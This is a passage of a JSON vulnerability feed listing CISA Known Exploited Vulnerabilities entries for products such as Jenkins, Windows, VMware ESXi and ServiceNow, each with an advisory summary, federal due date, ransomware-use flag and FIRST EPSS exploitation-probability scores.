score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-0185&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-0185, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-23897","cveId":"CVE-2024-23897","aliases":[],"kind":"vulnerability","title":"Jenkins Command Line Interface (CLI) Path Traversal Vulnerability","summary":"Jenkins Command Line Interface (CLI) contains a path traversal vulnerability that allows attackers limited read access to certain files, which can lead to code execution.","detail":"CISA added this entry on 2024-08-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-19","updatedAt":null,"regions":["Global"],"vendor":"Jenkins","product":"Jenkins Command Line Interface (CLI)","stacks":["Jenkins","Jenkins Command Line Interface (CLI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-19","dueAt":"2024-09-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-23897&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-23897","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-23897 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-23897&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-23897, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-28986","cveId":"CVE-2024-28986","aliases":[],"kind":"vulnerability","title":"SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability","summary":"SolarWinds Web Help Desk contains a deserialization of untrusted data vulnerability that could allow for remote code execution.","detail":"CISA added this entry on 2024-08-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-15","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Web Help Desk","stacks":["SolarWinds","Web Help Desk"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-15","dueAt":"2024-09-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84628,"percentile":0.99702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-28986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-28986","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-28986 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-28986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-28986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38106","cveId":"CVE-2024-38106","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Kernel Privilege Escalation Vulnerability","summary":"Microsoft Windows Kernel contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges. Successful exploitation of this vulnerability requires an attacker to win a race condition.","detail":"CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-13","dueAt":"2024-09-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06337,"percentile":0.93581,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38106&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38106","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38106 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38106&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38106, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38107","cveId":"CVE-2024-38107","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Power Dependency Coordinator Privilege Escalation Vulnerability","summary":"Microsoft Windows Power Dependency Coordinator contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to obtain SYSTEM privileges.","detail":"CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-13","dueAt":"2024-09-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01635,"percentile":0.76119,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38107","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38107 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38178","cveId":"CVE-2024-38178","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Windows Scripting Engine contains a memory corruption vulnerability that allows unauthenticated attacker to initiate remote code execution via a specially crafted URL.","detail":"CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-13","dueAt":"2024-09-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.4138,"percentile":0.98663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38178&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38178","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38178 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38178&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38178, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38189","cveId":"CVE-2024-38189","aliases":[],"kind":"vulnerability","title":"Microsoft Project Remote Code Execution Vulnerability","summary":"Microsoft Project contains an unspecified vulnerability that allows for remote code execution via a malicious file.","detail":"CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Project","stacks":["Microsoft","Project"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-13","dueAt":"2024-09-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08194,"percentile":0.94834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38189&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38189","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38189 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38189&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38189, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38193","cveId":"CVE-2024-38193","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Ancillary Function Driver for WinSock Privilege Escalation Vulnerability","summary":"Microsoft Windows Ancillary Function Driver for WinSock contains an unspecified vulnerability that allows for privilege escalation, enabling a local attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-13","dueAt":"2024-09-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28739,"percentile":0.98128,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38193&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38193","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38193 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38193&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38193, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38213","cveId":"CVE-2024-38213","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SmartScreen Security Feature Bypass Vulnerability","summary":"Microsoft Windows SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the SmartScreen user experience via a malicious file.","detail":"CISA added this entry on 2024-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-13","dueAt":"2024-09-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13626,"percentile":0.9645,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38213&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38213","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38213 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38213&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38213, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-32113","cveId":"CVE-2024-32113","aliases":[],"kind":"vulnerability","title":"Apache OFBiz Path Traversal Vulnerability","summary":"Apache OFBiz contains a path traversal vulnerability that could allow for remote code execution.","detail":"CISA added this entry on 2024-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-07","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"OFBiz","stacks":["Apache","OFBiz"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-07","dueAt":"2024-08-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99916,"percentile":0.99968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-32113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-32113","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-32113 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-32113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-32113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-36971","cveId":"CVE-2024-36971","aliases":[],"kind":"vulnerability","title":"Android Kernel Remote Code Execution Vulnerability","summary":"Android contains an unspecified vulnerability in the kernel that allows for remote code execution. This vulnerability resides in Linux Kernel and could impact other products, including but not limited to Android OS.","detail":"CISA added this entry on 2024-08-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-07","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Kernel","stacks":["Android","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-07","dueAt":"2024-08-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02701,"percentile":0.85828,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-36971&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-36971","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-36971 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-36971&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-36971, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0824","cveId":"CVE-2018-0824","aliases":[],"kind":"vulnerability","title":"Microsoft COM for Windows Deserialization of Untrusted Data Vulnerability","summary":"Microsoft COM for Windows contains a deserialization of untrusted data vulnerability that allows for privilege escalation and remote code execution via a specially crafted file or script.","detail":"CISA added this entry on 2024-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-08-05","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-08-05","dueAt":"2024-08-26","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73037,"percentile":0.99451,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0824&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0824","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-08-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0824 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-37085","cveId":"CVE-2024-37085","aliases":[],"kind":"vulnerability","title":"VMware ESXi Authentication Bypass Vulnerability","summary":"VMware ESXi contains an authentication bypass vulnerability. A malicious actor with sufficient Active Directory (AD) permissions can gain full access to an ESXi host that was previously configured to use AD for user management by re-creating the configured AD group ('ESXi Admins' by default) after it was deleted from AD.","detail":"CISA added this entry on 2024-07-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-30","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"ESXi","stacks":["VMware","ESXi"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-30","dueAt":"2024-08-20","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2677,"percentile":0.98015,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-37085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-37085","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-37085 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-37085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-37085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-45249","cveId":"CVE-2023-45249","aliases":[],"kind":"vulnerability","title":"Acronis Cyber Infrastructure (ACI) Insecure Default Password Vulnerability","summary":"Acronis Cyber Infrastructure (ACI) allows an unauthenticated user to execute commands remotely due to the use of default passwords.","detail":"CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-29","updatedAt":null,"regions":["Global"],"vendor":"Acronis","product":"Cyber Infrastructure (ACI)","stacks":["Acronis","Cyber Infrastructure (ACI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-29","dueAt":"2024-08-19","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53255,"percentile":0.98975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-45249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-45249","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-45249 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-45249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-45249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4879","cveId":"CVE-2024-4879","aliases":[],"kind":"vulnerability","title":"ServiceNow Improper Input Validation Vulnerability","summary":"ServiceNow Utah, Vancouver, and Washington DC Now Platform releases contain a jelly template injection vulnerability in UI macros. An unauthenticated user could exploit this vulnerability to execute code remotely.","detail":"CISA added this entry on 2024-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-07-29","updatedAt":null,"regions":["Global"],"vendor":"ServiceNow","product":"Utah, Vancouver, and Washington DC Now Platform","stacks":["ServiceNow","Utah, Vancouver, and Washington DC Now Platform"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-07-29","dueAt":"2024-08-19","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99976,"percentile":0.99979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4879&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4879","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-07-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4879 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4879&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4879, scored 2026-10-25. This is a model estimate, not proof of 